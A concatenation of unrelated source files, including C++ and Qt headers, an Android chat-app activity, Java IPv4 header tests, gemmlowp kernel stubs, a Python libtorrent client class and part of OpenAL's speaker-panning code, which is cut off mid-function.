Windows::Networking::Sockets::StreamSocketListenerConnectionReceivedEventArgs^ object);
private:
MainPage^ rootPage;
Windows::Networking::Sockets::StreamSocketListener^ listener;
~ListenerContext();
void ReceiveStringLoop(
Windows::Storage::Streams::DataReader^ reader,
Windows::Networking::Sockets::StreamSocket^ socket);
void NotifyUserFromAsyncThread(Platform::String^ message, NotifyType type);
};
}
}
| 1,369 |
988 | /*
* PROGRAM: Operate lists of plugins
* MODULE: ParsedList.h
* DESCRIPTION: Parse, merge, etc. lists of plugins in firebird.conf format
*
* The contents of this file are subject to the Initial
* Developer's Public License Version 1.0 (the "License");
* you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
* http://www.ibphoenix.com/main.nfs?a=ibphoenix&page=ibp_idpl.
*
* Software distributed under the License is distributed AS IS,
* WITHOUT WARRANTY OF ANY KIND, either express or implied.
* See the License for the specific language governing rights
* and limitations under the License.
*
* The Original Code was created by <NAME>
* for the Firebird Open Source RDBMS project.
*
* Copyright (c) 2010, 2019 <NAME> <<EMAIL>>
* and all contributors signed below.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*/
#ifndef COMMON_CLASSES_PARSED_LIST_H
#define COMMON_CLASSES_PARSED_LIST_H
#include "../common/classes/objects_array.h"
#include "../common/classes/fb_string.h"
#include "../common/config/config.h"
namespace Firebird {
// tools to operate lists of security-related plugins
class ParsedList : public Firebird::ObjectsArray<Firebird::PathName>
{
public:
explicit ParsedList(const Firebird::PathName& list);
ParsedList()
{ }
explicit ParsedList(MemoryPool& p)
: Firebird::ObjectsArray<Firebird::PathName>(p)
{ }
ParsedList(const Firebird::PathName& list, const char* delimiters);
// create plane list from this parsed
void makeList(Firebird::PathName& list) const;
// merge lists keeping only commom for both plugins
static void mergeLists(Firebird::PathName& list, const Firebird::PathName& serverList,
const Firebird::PathName& clientList);
// get providers list for particular database amd remove "Loopback" provider from it
static Firebird::PathName getNonLoopbackProviders(const Firebird::PathName& aliasDb);
private:
void parse(Firebird::PathName list, const char* delimiters);
};
} // namespace Firebird
#endif // COMMON_CLASSES_PARSED_LIST_H
| 651 |
386 | #pragma once
#include <QDialog>
namespace Ui {
class CNodePortEditorDialog;
}
class CNode;
class CNodePort;
class CNodePortEditorDialog : public QDialog
{
Q_OBJECT
public:
CNodePortEditorDialog();
~CNodePortEditorDialog();
int exec(CNodePort &port);
private Q_SLOTS:
void on_Anchor_currentIndexChanged(int index);
void on_OffsetX_valueChanged(int v);
void on_OffsetY_valueChanged(int v);
void on_Color_activated(const QColor &color);
private:
void doUpdate();
Ui::CNodePortEditorDialog *ui;
CNodePort *m_port = nullptr;
CNode *m_node = nullptr;
};
| 216 |
368 | package com.mogujie.tt.ui.activity;
import android.content.Intent;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentActivity;
import android.view.Window;
import com.mogujie.tt.R;
import com.mogujie.tt.config.IntentConstant;
import com.mogujie.tt.imservice.event.LoginEvent;
import com.mogujie.tt.imservice.event.UnreadEvent;
import com.mogujie.tt.imservice.service.IMService;
import com.mogujie.tt.ui.fragment.ChatFragment;
import com.mogujie.tt.ui.fragment.ContactFragment;
import com.mogujie.tt.imservice.support.IMServiceConnector;
import com.mogujie.tt.utils.Logger;
import com.mogujie.tt.ui.widget.NaviTabButton;
import de.greenrobot.event.EventBus;
public class MainActivity extends FragmentActivity{
private Fragment[] mFragments;
private NaviTabButton[] mTabButtons;
private Logger logger = Logger.getLogger(MainActivity.class);
private IMService imService;
private IMServiceConnector imServiceConnector = new IMServiceConnector(){
@Override
public void onIMServiceConnected() {
imService = imServiceConnector.getIMService();
}
@Override
public void onServiceDisconnected() {
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
logger.d("MainActivity#savedInstanceState:%s", savedInstanceState);
//todo eric when crash, this will be called, why?
if (savedInstanceState != null) {
logger.w("MainActivity#crashed and restarted, just exit");
jumpToLoginPage();
finish();
}
// ๅจ่ฟไธชๅฐๆนๅ ๅฏ่ฝไผๆ้ฎ้ขๅง
EventBus.getDefault().register(this);
imServiceConnector.connect(this);
requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.tt_activity_main);
initTab();
initFragment();
setFragmentIndicator(0);
}
@Override
public void onBackPressed() {
//don't let it exit
//super.onBackPressed();
//nonRoot If false then this only works if the activity is the root of a task; if true it will work for any activity in a task.
//document http://developer.android.com/reference/android/app/Activity.html
//moveTaskToBack(true);
Intent i = new Intent(Intent.ACTION_MAIN);
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
i.addCategory(Intent.CATEGORY_HOME);
startActivity(i);
}
private void initFragment() {
mFragments = new Fragment[4];
mFragments[0] = getSupportFragmentManager().findFragmentById(R.id.fragment_chat);
mFragments[1] = getSupportFragmentManager().findFragmentById(R.id.fragment_contact);
mFragments[2] = getSupportFragmentManager().findFragmentById(R.id.fragment_internal);
mFragments[3] = getSupportFragmentManager().findFragmentById(R.id.fragment_my);
}
private void initTab() {
mTabButtons = new NaviTabButton[4];
mTabButtons[0] = (NaviTabButton) findViewById(R.id.tabbutton_chat);
mTabButtons[1] = (NaviTabButton) findViewById(R.id.tabbutton_contact);
mTabButtons[2] = (NaviTabButton) findViewById(R.id.tabbutton_internal);
mTabButtons[3] = (NaviTabButton) findViewById(R.id.tabbutton_my);
mTabButtons[0].setTitle(getString(R.string.main_chat));
mTabButtons[0].setIndex(0);
mTabButtons[0].setSelectedImage(getResources().getDrawable(R.drawable.tt_tab_chat_sel));
mTabButtons[0].setUnselectedImage(getResources().getDrawable(R.drawable.tt_tab_chat_nor));
mTabButtons[1].setTitle(getString(R.string.main_contact));
mTabButtons[1].setIndex(1);
mTabButtons[1].setSelectedImage(getResources().getDrawable(R.drawable.tt_tab_contact_sel));
mTabButtons[1].setUnselectedImage(getResources().getDrawable(R.drawable.tt_tab_contact_nor));
mTabButtons[2].setTitle(getString(R.string.main_innernet));
mTabButtons[2].setIndex(2);
mTabButtons[2].setSelectedImage(getResources().getDrawable(R.drawable.tt_tab_internal_select));
mTabButtons[2].setUnselectedImage(getResources().getDrawable(R.drawable.tt_tab_internal_nor));
mTabButtons[3].setTitle(getString(R.string.main_me_tab));
mTabButtons[3].setIndex(3);
mTabButtons[3].setSelectedImage(getResources().getDrawable(R.drawable.tt_tab_me_sel));
mTabButtons[3].setUnselectedImage(getResources().getDrawable(R.drawable.tt_tab_me_nor));
}
public void setFragmentIndicator(int which) {
getSupportFragmentManager().beginTransaction().hide(mFragments[0]).hide(mFragments[1]).hide(mFragments[2]).hide(mFragments[3]).show(mFragments[which]).commit();
mTabButtons[0].setSelectedButton(false);
mTabButtons[1].setSelectedButton(false);
mTabButtons[2].setSelectedButton(false);
mTabButtons[3].setSelectedButton(false);
mTabButtons[which].setSelectedButton(true);
}
public void setUnreadMessageCnt(int unreadCnt) {
mTabButtons[0].setUnreadNotify(unreadCnt);
}
/**ๅๅปไบไปถ*/
public void chatDoubleListener() {
setFragmentIndicator(0);
((ChatFragment) mFragments[0]).scrollToUnreadPosition();
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleLocateDepratment(intent);
}
@Override
protected void onResume() {
super.onResume();
}
private void handleLocateDepratment(Intent intent) {
int departmentIdToLocate= intent.getIntExtra(IntentConstant.KEY_LOCATE_DEPARTMENT,-1);
if (departmentIdToLocate == -1) {
return;
}
logger.d("department#got department to locate id:%d", departmentIdToLocate);
setFragmentIndicator(1);
ContactFragment fragment = (ContactFragment) mFragments[1];
if (fragment == null) {
logger.e("department#fragment is null");
return;
}
fragment.locateDepartment(departmentIdToLocate);
}
@Override
protected void onPause() {
super.onPause();
}
@Override
protected void onDestroy() {
logger.d("mainactivity#onDestroy");
EventBus.getDefault().unregister(this);
imServiceConnector.disconnect(this);
super.onDestroy();
}
public void onEventMainThread(UnreadEvent event){
switch (event.event){
case SESSION_READED_UNREAD_MSG:
case UNREAD_MSG_LIST_OK:
case UNREAD_MSG_RECEIVED:
showUnreadMessageCount();
break;
}
}
private void showUnreadMessageCount() {
//todo eric when to
if(imService!=null)
{
int unreadNum = imService.getUnReadMsgManager().getTotalUnreadCount();
mTabButtons[0].setUnreadNotify(unreadNum);
}
}
public void onEventMainThread(LoginEvent event){
switch (event){
case LOGIN_OUT:
handleOnLogout();
break;
}
}
private void handleOnLogout() {
logger.d("mainactivity#login#handleOnLogout");
finish();
logger.d("mainactivity#login#kill self, and start login activity");
jumpToLoginPage();
}
private void jumpToLoginPage() {
Intent intent = new Intent(this, LoginActivity.class);
intent.putExtra(IntentConstant.KEY_LOGIN_NOT_AUTO, true);
startActivity(intent);
}
}
| 2,755 |
4,322 | <reponame>arntsonl/gnirehtet
/*
* Copyright (C) 2017 Genymobile
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.genymobile.gnirehtet.relay;
import org.junit.Assert;
import org.junit.Ignore;
import org.junit.Test;
import java.nio.ByteBuffer;
@SuppressWarnings("checkstyle:MagicNumber")
public class IPv4HeaderTest {
@Test
public void testReadIPVersionUnavailable() {
ByteBuffer buffer = ByteBuffer.allocate(20);
buffer.flip();
int firstPacketVersion = IPv4Header.readVersion(buffer);
Assert.assertEquals("IPv4 packet version must be unknown", -1, firstPacketVersion);
}
@Test
public void testReadIPVersionAvailable() {
ByteBuffer buffer = ByteBuffer.allocate(20);
byte versionAndIHL = (4 << 4) | 5;
buffer.put(versionAndIHL);
buffer.flip();
int firstPacketVersion = IPv4Header.readVersion(buffer);
Assert.assertEquals("Wrong IP version field value", 4, firstPacketVersion);
}
@Test
public void testReadLengthUnavailable() {
ByteBuffer buffer = ByteBuffer.allocate(20);
buffer.flip();
int firstPacketLength = IPv4Header.readLength(buffer);
Assert.assertEquals("IPv4 packet length must be unknown", -1, firstPacketLength);
}
@Test
public void testReadLengthAvailable() {
ByteBuffer buffer = ByteBuffer.allocate(20);
buffer.put(2, (byte) 0x01);
buffer.put(3, (byte) 0x23);
buffer.position(20); // consider we wrote the whole header
buffer.flip();
int firstPacketLength = IPv4Header.readLength(buffer);
Assert.assertEquals("Wrong IP length field value", 0x123, firstPacketLength);
}
private static ByteBuffer createMockHeaders() {
ByteBuffer buffer = ByteBuffer.allocate(28);
buffer.put((byte) ((4 << 4) | 5)); // versionAndIHL
buffer.put((byte) 0); // ToS
buffer.putShort((short) 28); // total length
buffer.putInt(0); // IdFlagsFragmentOffset
buffer.put((byte) 0); // TTL
buffer.put((byte) 17); // protocol (UDP)
buffer.putShort((short) 0); // checksum
buffer.putInt(0x12345678); // source address
buffer.putInt(0x42424242); // destination address
buffer.limit(28);
buffer.flip();
return buffer;
}
@Test
public void testParsePacketHeaders() {
IPv4Header header = new IPv4Header(createMockHeaders());
Assert.assertNotNull("Valid IPv4 header not parsed", header);
Assert.assertTrue(header.isSupported());
Assert.assertEquals(IPv4Header.Protocol.UDP, header.getProtocol());
Assert.assertEquals(20, header.getHeaderLength());
Assert.assertEquals(28, header.getTotalLength());
}
@Test
public void testEditHeaders() {
ByteBuffer buffer = createMockHeaders();
IPv4Header header = new IPv4Header(buffer);
header.setSource(0x87654321);
header.setDestination(0x24242424);
header.setTotalLength(42);
Assert.assertEquals(0x87654321, header.getSource());
Assert.assertEquals(0x24242424, header.getDestination());
Assert.assertEquals(42, header.getTotalLength());
// assert the buffer has been modified
int source = buffer.getInt(12);
int destination = buffer.getInt(16);
int totalLength = Short.toUnsignedInt(buffer.getShort(2));
Assert.assertEquals(0x87654321, source);
Assert.assertEquals(0x24242424, destination);
Assert.assertEquals(42, totalLength);
header.swapSourceAndDestination();
Assert.assertEquals(0x24242424, header.getSource());
Assert.assertEquals(0x87654321, header.getDestination());
source = buffer.getInt(12);
destination = buffer.getInt(16);
Assert.assertEquals(0x24242424, source);
Assert.assertEquals(0x87654321, destination);
}
@Test
public void testComputeChecksum() {
ByteBuffer buffer = createMockHeaders();
IPv4Header header = new IPv4Header(buffer);
// set a fake checksum value to assert that it is correctly computed
buffer.putShort(10, (short) 0x79);
header.computeChecksum();
int sum = 0x4500 + 0x001c + 0x0000 + 0x0000 + 0x0011 + 0x0000 + 0x1234 + 0x5678 + 0x4242 + 0x4242;
while ((sum & ~0xffff) != 0) {
sum = (sum & 0xffff) + (sum >> 16);
}
short checksum = (short) ~sum;
Assert.assertEquals(checksum, header.getChecksum());
}
@Ignore // manual benchmark
@Test
public void benchComputeChecksum() {
ByteBuffer buffer = createMockHeaders();
IPv4Header header = new IPv4Header(buffer);
long start = System.currentTimeMillis();
for (int i = 0; i < 5000000; ++i) {
header.computeChecksum();
}
long duration = System.currentTimeMillis() - start;
System.out.println("5000000 IP checksums: " + duration + "ms");
}
}
| 2,208 |
1,609 | <reponame>liuluyang530/gemmlowp-gpt
// Copyright 2016 The Gemmlowp Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef GEMMLOWP_META_QUANTIZED_MUL_KERNELS_H_
#define GEMMLOWP_META_QUANTIZED_MUL_KERNELS_H_
#include <iostream>
#include <typeinfo>
#include "base.h"
#include "streams.h"
namespace gemmlowp {
namespace meta {
struct QuantizedStaticPreprocessed {
public:
int multiplicative_offset;
int rounding_offset;
int shift;
int count;
};
template <typename InType, typename OutType, int m, int n, int k>
class MulKernel<InType, OutType, QuantizedStaticPreprocessed, RowMajor, m, n,
k> {
public:
typedef FusedKernelParams<QuantizedStaticPreprocessed, RowMajor> FusedKernel;
static void Multiply(const InType* lhs, const InType*,
const FusedKernel& params, OutType* result) {
#ifdef DEBUG
#ifdef DEBUG_METAGEMM_VERBOSE
std::cout << "MulQSPR(" << typeid(InType).name() << ", "
<< typeid(OutType).name() << ")::Multiply() -- " << m << "x" << n
<< "x" << k << std::endl;
#endif
#else
if (m != 0 && n != 0) {
std::cerr << "FATAL: QuantizedStaticPreprocessed_RowMajor::Multiply not "
<< "implemented." << std::endl;
std::exit(1);
}
#endif
}
#ifdef DEBUG
#ifdef DEBUG_METAGEMM_VERBOSE
static void Debug(const FusedKernel& params) {
std::cout << "MulQSPR(" << typeid(InType).name() << ", "
<< typeid(OutType).name() << ") -- " << m << "x" << n << "x" << k
<< std::endl;
std::cout << " params:" << std::endl;
std::cout << " kernel.multiplicative_offset: "
<< params.kernel.multiplicative_offset << std::endl;
std::cout << " kernel.rounding_offset: " << params.kernel.rounding_offset
<< std::endl;
std::cout << " kernel.shift: " << params.kernel.shift << std::endl;
std::cout << " kernel.count: " << params.kernel.count << std::endl;
std::cout << " output_stream.stride: " << params.output_stream.stride
<< std::endl;
}
#endif
#endif
};
struct QuantizedStaticPreprocessedAsInt32 {
public:
int count;
};
template <typename InType, typename OutType, int m, int n, int k>
class MulKernel<InType, OutType, QuantizedStaticPreprocessedAsInt32, RowMajor,
m, n, k> {
public:
typedef FusedKernelParams<QuantizedStaticPreprocessedAsInt32, RowMajor>
FusedKernel;
static void Multiply(const InType* lhs, const InType*,
const FusedKernel& params, OutType* result) {
#ifdef DEBUG
#ifdef DEBUG_METAGEMM_VERBOSE
std::cout << "MulQSPI32R(" << typeid(InType).name() << ", "
<< typeid(OutType).name() << ")::Multiply() -- " << m << "x" << n
<< "x" << k << std::endl;
#endif
#else
if (m != 0 && n != 0) {
std::cerr << "FATAL: QuantizedStaticPreprocessedAsInt32_RowMajor::"
<< "Multiply not implemented." << std::endl;
std::exit(1);
}
#endif
}
#ifdef DEBUG
#ifdef DEBUG_METAGEMM_VERBOSE
static void Debug(const FusedKernel& params) {
std::cout << "MulQSPI32R(" << typeid(InType).name() << ", "
<< typeid(OutType).name() << ") -- " << m << "x" << n << "x" << k
<< std::endl;
std::cout << " params:" << std::endl;
std::cout << " kernel.count: " << params.kernel.count << std::endl;
std::cout << " output_stream.stride: " << params.output_stream.stride
<< std::endl;
}
#endif
#endif
};
struct QuantizedStaticPreprocessedAsFloat {
public:
int count;
float scale;
};
template <typename InType, typename OutType, int m, int n, int k>
class MulKernel<InType, OutType, QuantizedStaticPreprocessedAsFloat, RowMajor,
m, n, k> {
public:
typedef FusedKernelParams<QuantizedStaticPreprocessedAsFloat, RowMajor>
FusedKernel;
static void Multiply(const InType* lhs, const InType*,
const FusedKernel& params, OutType* result) {
#ifdef DEBUG
#ifdef DEBUG_METAGEMM_VERBOSE
std::cout << "MulQSPFR(" << typeid(InType).name() << ", "
<< typeid(OutType).name() << ")::Multiply() -- " << m << "x" << n
<< "x" << k << std::endl;
#endif
#else
if (m != 0 && n != 0) {
std::cerr << "FATAL: QuantizedStaticPreprocessedAsFloat_RowMajor::"
<< "Multiply not implemented." << std::endl;
std::exit(1);
}
#endif
}
#ifdef DEBUG
#ifdef DEBUG_METAGEMM_VERBOSE
static void Debug(const FusedKernel& params) {
std::cout << "MulQSPFR(" << typeid(InType).name() << ", "
<< typeid(OutType).name() << ") -- " << m << "x" << n << "x" << k
<< std::endl;
std::cout << " params:" << std::endl;
std::cout << " kernel.count: " << params.kernel.count << std::endl;
std::cout << " kernel.scale: " << params.kernel.scale << std::endl;
std::cout << " output_stream.stride: " << params.output_stream.stride
<< std::endl;
}
#endif
#endif
};
} // namespace meta
} // namespace gemmlowp
#ifdef GEMMLOWP_NEON_32
#include "quantized_mul_kernels_arm_32.h"
#elif defined(GEMMLOWP_NEON_64)
#include "quantized_mul_kernels_arm_64.h"
#endif
#endif // GEMMLOWP_META_QUANTIZED_MUL_KERNELS_H_
| 2,492 |
351 | import urllib
import json
import os
import shutil
import time
import random
import sys
import hashlib
import base64
import bencodepy
import libtorrent
from locking import LockManager
def get_torrent_info(h):
while not h.has_metadata():
time.sleep(1)
return h.get_torrent_info()
def get_index_and_file_from_files(h, filename):
files = list(get_torrent_info(h).files())
try:
return next((i, f) for (i, f) in enumerate(files) if f.path.endswith(filename))
except StopIteration:
return (None, None)
def make_magnet_from_torrent_file(file):
metadata = bencodepy.decode_from_file(file)
subj = metadata.get(b"info", {})
hashcontents = bencodepy.encode(subj)
digest = hashlib.sha1(hashcontents).digest()
b16hash = base64.b16encode(digest).decode().lower()
return (
"magnet:?"
+ "xt=urn:btih:"
+ b16hash
+ "&dn="
+ metadata.get(b"info", {}).get(b"name", b"").decode()
+ "&tr="
+ metadata.get(b"announce", b"").decode()
+ "".join(
[
"&tr=" + tr.decode()
for trlist in metadata.get(b"announce-list", [])
for tr in trlist
if tr.decode().strip()
]
)
+ "&xl="
+ str(metadata.get(b"info", {}).get(b"length"))
)
def torrent_is_finished(h):
return (
str(h.status().state) in ["finished", "seeding"]
or sum(h.file_priorities()) == 0
)
def prioritize_files(h, priorities):
h.prioritize_files(priorities)
while h.file_priorities() != priorities:
time.sleep(1)
def get_hash(magnet_link):
if not magnet_link.startswith("magnet:?xt=urn:btih:"):
raise Exception("Invalid magnet link")
return magnet_link[
magnet_link.find("btih:") + 5 : magnet_link.find("&")
if "&" in magnet_link
else len(magnet_link)
].lower()
class TorrentClient:
torrents = {}
def __init__(
self,
listening_port=None,
dht_routers=[],
filelist_dir=None,
download_dir=None,
torrents_dir=None,
):
self.locks = LockManager()
self.session = libtorrent.session()
if listening_port:
self.session.listen_on(listening_port, listening_port)
else:
rand = random.randrange(17000, 18000)
self.session.listen_on(rand, rand + 10000)
for router, port in dht_routers:
self.session.add_dht_router(router, port)
self.session.start_dht()
self.filelist_dir = filelist_dir
self.download_dir = download_dir
self.torrents_dir = torrents_dir
def fetch_filelist_from_link(self, magnet_link):
if self.filelist_dir is None:
return
magnet_hash = get_hash(magnet_link)
filename = os.path.join(self.filelist_dir, magnet_hash)
with self.locks.lock(magnet_hash):
if os.path.isfile(filename):
try:
with open(filename, "r") as f:
data = f.read().replace("\n", "")
json.loads(data)
return
except json.decoder.JSONDecodeError:
os.remove(filename)
self._write_filelist_to_disk(magnet_link)
def save_torrent_file(self, torrent_filepath):
magnet_link = make_magnet_from_torrent_file(torrent_filepath)
magnet_hash = get_hash(magnet_link)
os.makedirs(self.torrents_dir, exist_ok=True)
filepath = os.path.join(self.torrents_dir, f"{magnet_hash}.torrent")
shutil.copy(torrent_filepath, filepath)
def download_file(self, magnet_link, filename):
magnet_hash = get_hash(magnet_link)
with self.locks.lock(magnet_hash):
h = (
self.torrents.get(magnet_hash)
or self._add_torrent_file_to_downloads(
os.path.join(self.torrents_dir, f"{magnet_hash}.torrent")
)
or self._add_magnet_link_to_downloads(magnet_link)
)
files = get_torrent_info(h).files()
file_priorities = h.file_priorities()
for i, f in enumerate(files):
if f.path.endswith(filename):
file_priorities[i] = 4
break
prioritize_files(h, file_priorities)
self._write_filelist_to_disk(magnet_link)
def remove_torrent(self, magnet_hash, remove_files=False):
try:
h = self.torrents[magnet_hash]
except KeyError:
return
try:
self.session.remove_torrent(h)
except Exception:
pass
del self.torrents[magnet_hash]
if remove_files:
try:
shutil.rmtree(os.path.join(self.download_dir, magnet_hash))
except FileNotFoundError:
pass
except OSError:
pass
def _add_torrent_file_to_downloads(self, filepath):
if not os.path.isfile(filepath):
return None
magnet_link = make_magnet_from_torrent_file(filepath)
magnet_hash = get_hash(magnet_link)
info = libtorrent.torrent_info(filepath)
h = self.torrents.get(magnet_hash) or self.session.add_torrent(
dict(ti=info, save_path=os.path.join(self.download_dir, magnet_hash))
)
self.torrents[magnet_hash] = h
files = get_torrent_info(h).files()
prioritize_files(h, [0] * len(files))
return h
def _add_magnet_link_to_downloads(self, magnet_link):
magnet_hash = get_hash(magnet_link)
h = libtorrent.add_magnet_uri(
self.session,
magnet_link,
dict(save_path=os.path.join(self.download_dir, magnet_hash)),
)
files = get_torrent_info(h).files()
prioritize_files(h, [0] * len(files))
self.torrents[magnet_hash] = h
return h
def _write_filelist_to_disk(self, magnet_link):
magnet_hash = get_hash(magnet_link)
filename = os.path.join(self.filelist_dir, magnet_hash)
h = (
self.torrents.get(magnet_hash)
or self._add_torrent_file_to_downloads(
os.path.join(self.torrents_dir, f"{magnet_hash}.torrent")
)
or self._add_magnet_link_to_downloads(magnet_link)
)
result = [f.path for f in get_torrent_info(h).files()]
os.makedirs(os.path.dirname(filename), exist_ok=True)
with open(filename, "w") as f:
f.write(json.dumps(result))
| 3,360 |
6,717 | /**
* OpenAL cross platform audio library
* Copyright (C) 1999-2010 by authors.
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public
* License along with this library; if not, write to the
* Free Software Foundation, Inc., 59 Temple Place - Suite 330,
* Boston, MA 02111-1307, USA.
* Or go to http://www.gnu.org/copyleft/lgpl.html
*/
#include "config.h"
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include "alMain.h"
#include "AL/al.h"
#include "AL/alc.h"
#include "alu.h"
static void SetSpeakerArrangement(const char *name, ALfloat SpeakerAngle[MAXCHANNELS],
enum Channel Speaker2Chan[MAXCHANNELS], ALint chans)
{
char *confkey, *next;
char *layout_str;
char *sep, *end;
enum Channel val;
const char *str;
int i;
if(!ConfigValueStr(NULL, name, &str) && !ConfigValueStr(NULL, "layout", &str))
return;
layout_str = alc_strdup(str);
next = confkey = layout_str;
while(next && *next)
{
confkey = next;
next = strchr(confkey, ',');
if(next)
{
*next = 0;
do {
next++;
} while(isspace(*next) || *next == ',');
}
sep = strchr(confkey, '=');
if(!sep || confkey == sep)
{
ERR("Malformed speaker key: %s\n", confkey);
continue;
}
end = sep - 1;
while(isspace(*end) && end != confkey)
end--;
*(++end) = 0;
if(strcmp(confkey, "fl") == 0 || strcmp(confkey, "front-left") == 0)
val = FRONT_LEFT;
else if(strcmp(confkey, "fr") == 0 || strcmp(confkey, "front-right") == 0)
val = FRONT_RIGHT;
else if(strcmp(confkey, "fc") == 0 || strcmp(confkey, "front-center") == 0)
val = FRONT_CENTER;
else if(strcmp(confkey, "bl") == 0 || strcmp(confkey, "back-left") == 0)
val = BACK_LEFT;
else if(strcmp(confkey, "br") == 0 || strcmp(confkey, "back-right") == 0)
val = BACK_RIGHT;
else if(strcmp(confkey, "bc") == 0 || strcmp(confkey, "back-center") == 0)
val = BACK_CENTER;
else if(strcmp(confkey, "sl") == 0 || strcmp(confkey, "side-left") == 0)
val = SIDE_LEFT;
else if(strcmp(confkey, "sr") == 0 || strcmp(confkey, "side-right") == 0)
val = SIDE_RIGHT;
else
{
ERR("Unknown speaker for %s: \"%s\"\n", name, confkey);
continue;
}
*(sep++) = 0;
while(isspace(*sep))
sep++;
for(i = 0;i < chans;i++)
{
if(Speaker2Chan[i] == val)
{
long angle = strtol(sep, NULL, 10);
if(angle >= -180 && angle <= 180)
SpeakerAngle[i] = angle * F_PI/180.0f;
else
ERR("Invalid angle for speaker \"%s\": %ld\n", confkey, angle);
break;
}
}
}
free(layout_str);
layout_str = NULL;
for(i = 0;i < chans;i++)
{
int min = i;
int i2;
for(i2 = i+1;i2 < chans;i2++)
{
if(SpeakerAngle[i2] < SpeakerAngle[min])
min = i2;
}
if(min != i)
{
ALfloat tmpf;
enum Channel tmpc;
tmpf = SpeakerAngle[i];
SpeakerAngle[i] = SpeakerAngle[min];
SpeakerAngle[min] = tmpf;
tmpc = Speaker2Chan[i];
Speaker2Chan[i] = Speaker2Chan[min];
Speaker2Chan[min] = tmpc;
}
}
}
static ALfloat aluLUTpos2Angle(ALint pos)
{
if(pos < QUADRANT_NUM)
return aluAtan((ALfloat)pos / (ALfloat)(QUADRANT_NUM - pos));
if(pos < 2 * QUADRANT_NUM)
return F_PI_2 + aluAtan((ALfloat)(pos - QUADRANT_NUM) / (ALfloat)(2 * QUADRANT_NUM - pos));
if(pos < 3 * QUADRANT_NUM)
return aluAtan((ALfloat)(pos - 2 * QUADRANT_NUM) / (ALfloat)(3 * QUADRANT_NUM - pos)) - F_PI;
return aluAtan((ALfloat)(pos - 3 * QUADRANT_NUM) / (ALfloat)(4 * QUADRANT_NUM - pos)) - F_PI_2;
}
ALint aluCart2LUTpos(ALfloat re, ALfloat im)
{
ALint pos = 0;
ALfloat denom = aluFabs(re) + aluFabs(im);
if(denom > 0.0f)
pos = (ALint)(QUADRANT_NUM*aluFabs(im) / denom + 0.5);
if(re < 0.0f)
pos = 2 * QUADRANT_NUM - pos;
if(im < 0.0f)
pos = LUT_NUM - pos;
return pos%LUT_NUM;
}
ALvoid aluInitPanning(ALCdevice *Device)
{
ALfloat SpeakerAngle[MAXCHANNELS];
enum Channel *Speaker2Chan;
ALfloat Alpha, Theta;
ALint pos;
ALuint s;
Speaker2Chan = Device->Speaker2Chan;
switch(Device->FmtChans)
{
case DevFmtMono:
Device->NumChan = 1;
Speaker2Chan[0] = FRONT_CENTER;
SpeakerAngle[0] = F_PI/180.0f * 0.0f;
break;
case DevFmtStereo:
Device->NumChan = 2;
Speaker2Chan[0] = FRONT_LEFT;
Speaker2Chan[1] = FRONT_RIGHT;
SpeakerAngle[0] = F_PI/180.0f * -90.0f;
SpeakerAngle[1] = F_PI/180.0f * 90.0f;
SetSpeakerArrangement("layout_STEREO", SpeakerAngle, Speaker2Chan, Device->NumChan);
break;
case DevFmtQuad:
Device->NumChan = 4;
Speaker2Chan[0] = BACK_LEFT;
Speaker2Chan[1] = FRONT_LEFT;
Speaker2Chan[2] = FRONT_RIGHT;
Speaker2Chan[3] = BACK_RIGHT;
SpeakerAngle[0] = F_PI/180.0f * -135.0f;
SpeakerAngle[1] = F_PI/180.0f * -45.0f;
SpeakerAngle[2] = F_PI/180.0f * 45.0f;
SpeakerAngle[3] = F_PI/180.0f * 135.0f;
SetSpeakerArrangement("layout_QUAD", SpeakerAngle, Speaker2Chan, Device->NumChan);
break;
case DevFmtX51:
Device->NumChan = 5;
Speaker2Chan[0] = BACK_LEFT;
Speaker2Chan[1] = FRONT_LEFT;
Speaker2Chan[2] = FRONT_CENTER;
Speaker2Chan[3] = FRONT_RIGHT;
Speaker2Chan[4] = BACK_RIGHT;
SpeakerAngle[0] = F_PI/180.0f * -110.0f;
SpeakerAngle[1] = F_PI/180.0f * -30.0f;
SpeakerAngle[2] = F_PI/180.0f * 0.0f;
SpeakerAngle[3] = F_PI/180.0f * 30.0f;
SpeakerAngle[4] = F_PI/180.0f * 110.0f;
SetSpeakerArrangement("layout_51CHN", SpeakerAngle, Speaker2Chan, Device->NumChan);
break;
case DevFmtX51Side:
Device->NumChan = 5;
Speaker2Chan[0] = SIDE_LEFT;
Speaker2Chan[1] = FRONT_LEFT;
Speaker2Chan[2] = FRONT_CENTER;
Speaker2Chan[3] = FRONT_RIGHT;
Speaker2Chan[4] = SIDE_RIGHT;
SpeakerAngle[0] = F_PI/180.0f * -90.0f;
SpeakerAngle[1] = F_PI/180.0f * -30.0f;
SpeakerAngle[2] = F_PI/180.0f * 0.0f;
SpeakerAngle[3] = F_PI/180.0f * 30.0f;
SpeakerAngle[4] = F_PI/180.0f * 90.0f;
